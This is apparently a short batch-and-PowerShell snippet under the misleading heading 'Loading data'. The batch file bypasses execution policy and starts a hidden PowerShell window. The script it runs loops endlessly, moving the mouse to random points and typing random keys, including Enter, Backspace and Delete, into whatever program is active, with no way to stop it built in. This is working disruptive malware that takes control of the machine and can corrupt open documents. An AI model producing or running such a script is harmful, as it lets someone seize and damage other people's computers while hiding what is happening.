Загрузка данных


@echo off
powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File "%~dp0movement.ps1"
exit -- bat

Add-Type -AssemblyName System.Windows.Forms
Add-Type -AssemblyName System.Drawing

$random = [System.Random]::new()
$keys = @(
    'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
    '0','1','2','3','4','5','6','7','8','9',
    '{ENTER}','{TAB}',' ','{BACKSPACE}','{DELETE}',
    '{UP}','{DOWN}','{LEFT}','{RIGHT}'
)

while ($true) {
    $x = $random.Next(0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width)
    $y = $random.Next(0, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
    [System.Windows.Forms.Cursor]::Position = New-Object System.Drawing.Point($x, $y)
    
    $key = $keys[$random.Next(0, $keys.Length)]
    [System.Windows.Forms.SendKeys]::SendWait($key)
    
    Start-Sleep -Milliseconds 50
}